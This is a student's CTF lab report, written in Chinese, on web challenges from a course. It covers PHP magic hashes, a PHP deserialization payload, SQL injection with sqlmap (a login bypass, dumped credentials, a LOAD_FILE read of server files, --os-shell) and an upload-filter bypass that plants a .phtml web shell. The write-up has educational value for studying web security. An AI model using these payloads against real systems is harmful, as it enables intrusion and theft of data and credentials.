

Web Lab3 Report

Task 1: 热身

直接编写python脚本，用递归遍历所有的字符串即可（只是爆破的计算量实在是有些大，电脑不太行qwq加上python爆破实在效率低下），以下是部分爆破出的以0e开头的字符串：

```
PS D:\CTF\Summer_course\Web_lab3> python3 find2.py
Found match: 240610708, 0e462097431906509019562988736854
Found match: 314282422, 0e990995504821699494520356953734
```

```
PS D:\CTF\Summer_course\Web_lab3> python3 find2.py
Found match: QLTHNDT, 0e405967825401955372549139051580
Found match: QNKCDZO, 0e830400451993494058024219903391
```

查找以'or'开头的字符串也同理可得

Task2

阅读代码可知，要想输出successful，首先op需要等于2，才会触发read()。然而，我们发现_destruct()函数中比较使用了三个等号，而process()中的比较使用了两个等号。因此，数字2不等于字符串2，destruct不会修改op的值。所以，我们可以据此编写php代码，并提交其序列化之后的值。

```
<?php
class FileHandler {
    public $op = 2;
    public $filename = "./flag.php";
    public $content;
}
$fh=new FileHandler;
$st=serialize($fh);
echo $st;
?>
```

输出0:11:"FileHandler":3:

{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;} 将其提交，查看页面源代码即可得到flag

```
1 <code><span style="color: #000000">
2 <span style="color: #0000BB">&lt;?php<br /><br /></span><span style="color: #007700">include(</span><span style="color: #DD0000">"flag.php"</span><span style="color: #007700">);<br /><br /></span><span style="color:
3 </span>
4 </code><Result>: <br><?php $flag="flag{6eaf3ce1-71df-4b94-b7a9-21622f4bfd5a}";
5
```

flag{6eaf3ce1-71df-4b94-b7a9-21622f4bfd5a}

Task3

日哭 School-bus

首先尝试用sqlmap对其进行扫描，但似乎没有结果。由于抓包发现网站使用了cookie，显然需要登录才能进行下一步的操作。因此尝试了各种用户名（显然需要带admin）之后发现admin-- -这个用户名是可以登录的（猜测--将后面的password也注释掉了（？））。登进去之后即可使用sqlmap进行扫描。此处将用burp抓包将请求内容存才sql.txt中

```
[17:48:08] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] web400

[17:48:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/sbus.actf.lol'

[*] ending @ 17:48:08 /2024-07-16/
```

发现以上数据库名，因此读取web400中的内容python3 sqlmap.py -r sql.txt --tech=U --batch -D web400 --tables 之后在获取USER中的内容即可得到username和password

```
[17:49:30] [INFO] fetching columns for table 'USERS' in database 'web400'
[17:49:30] [INFO] fetching entries for table 'USERS' in database 'web400'
Database: web400
Table: USERS
1 entry]
-----+-----+-----+
data      | password      | username |
-----+-----+-----+
This is a secret | zhegemimanigujicaibuchulai | admin |
-----+-----+-----+

[17:49:30] [INFO] table 'web400.USERS' dumped to CSV file '/root/.local/share/sqlmap/output/sbus.actf.lol/dump/web400/USERS.csv'
[17:49:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/sbus.actf.lol'
[17:49:30] [WARNING] your sqlmap version is outdated

[*] ending @ 17:49:30 /2024-07-16/
```

用username和password登录，即可获取新的cookie。再进入migrate.php，显然需要进行sql注入。随便试了一下发现有报错信息，提示了我们文件的目录

Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /home/web/www.zjusec.com/migrate.php:80 Stack trace: #0 {main} thrown in /home/web/www.zjusec.com/migrate.php on line 80

这样我们就可以构造payload取出所需的文件admin' or 1=1 UNION SELECT LOAD_FILE('/home/web/www.zjusec.com/migrate.php') #

```
<?php
include 'i-am-the-config-and-flag.php';
if(isset($_POST['username'])) {
    if($_SESSION['login'] != 1) {
        print "<script type='text/javascript'>alert('Login First!')</script>";
        header("Location: index.php");
        die('You have to log in!');
    }
    $username = $_POST['username'];
    $sql = "SELECT data FROM USERS WHERE username=' " . $username . "'";
    $result = $conn->query($sql);
    while($row = $result->fetch_assoc()) {
        print $row['data'];
        print "<br />";
    }
    $result->free();
    $conn->close();
}
?>
```

同样以此方式获得flag文件即可

```
This is a secret<br /><?php
    $mysql_username = 'root';
    $mysql_password = 'AAA{now_y0u_can_try_web_400_lol}';
    $mysql_host = 'localhost';
    $conn = new mysqli($mysql_host, $mysql_username, $mysql_password, "web400");
<br /><br />
<br />
AAA{now_y0u_can_try_web_400_lol}
```

后来发现python3 sqlmap.py -r sql.txt --tech=U --batch --os-shell命令会将所有文件都自动输出出来，更快

之后寻找下一题入口，查看nginx配置件可得 include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; 显然我们要找的东西在这个目录下。之后再对这个目录进行可能的搜索 使用/etc/nginx/sites-available/default时发现下一题的网站

admin-writeup-test.actf.lol

本题解出日期：7月16日

上了那个 writeup

首先利用上一题的任意文件读取服务器端代码（sql注入可得）

```
<?php
if ((isset($_FILES["file"])) && ($_FILES["file"]["type"] === "application/pdf") && ($_FILES["file"]["size"] < 512000)){
    if ($_FILES["file"]["error"] > 0){
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
    else{
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
        if (file_exists("uploads/" . $_FILES["file"]["name"])){
            echo $_FILES["file"]["name"] . " already exists. ";
        }
        else{
            $data = file_get_contents($_FILES["file"]["tmp_name"]);
            if (stripos($data, "<?php") !== FALSE){
                die('You are doing evil thing!');
            }
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
}
else{
    echo "Invalid file";
}
?>
```

发现后端首先对上传文件类型作了限制，只能上传application/pdf类型。所以我们在上传文件的时候需要在burp中修改文件类型。然后发现php文件无法被uploads/目录解析。因此我们需要更换同等的.phtml后缀就可以了。文件头可以用<?= 代替。因此先上传个<?=system('pwd');?>看看目录,之后再<?=system('cd ../cat flag.php')?>就能得到flag

← → ↻ ⚠ 不安全 admin-writeup-test.actf.lol/uploads/117.phtml

/home/web/writeup/uploads /home/web/writeup/uploads

→

↻

⚠ 不安全

view-source:admin-writeup-test.actf.lol/uploads/121.phtml

换行

□

```
<?php
1 $flag="AAA{upload_and_bypass}";
2 $flag="AAA{upload_and_bypass}";
3 $flag="AAA{upload_and_bypass}";

AAA{upload_and_bypass}
```

本题解出日期：7月17日（在第一次hint给出之前）

校巴用户名的截图

A screenshot of the footer of the Actf website. It features a dark background with a large, stylized white 'A' logo in the center. To the right of the logo, the user profile for 'DF_Pitte' is displayed, showing a rank of 199 and a score of 1026, along with a circular profile picture. Below the logo and profile, a horizontal navigation bar contains five links: 'CHALLENGES', 'SCOREBOARD', 'ACTIVITIES', 'ABOUT & NEWS', and 'AWARD'.

4 / 4